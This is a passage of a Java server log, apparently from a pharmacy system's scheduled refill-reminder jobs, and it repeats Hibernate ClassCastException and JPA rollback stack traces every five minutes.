Refill Reminder Job.............. 2024-02-26 02:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 02:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 02:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 02:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 02:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 02:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 02:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 02:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 02:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 02:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at 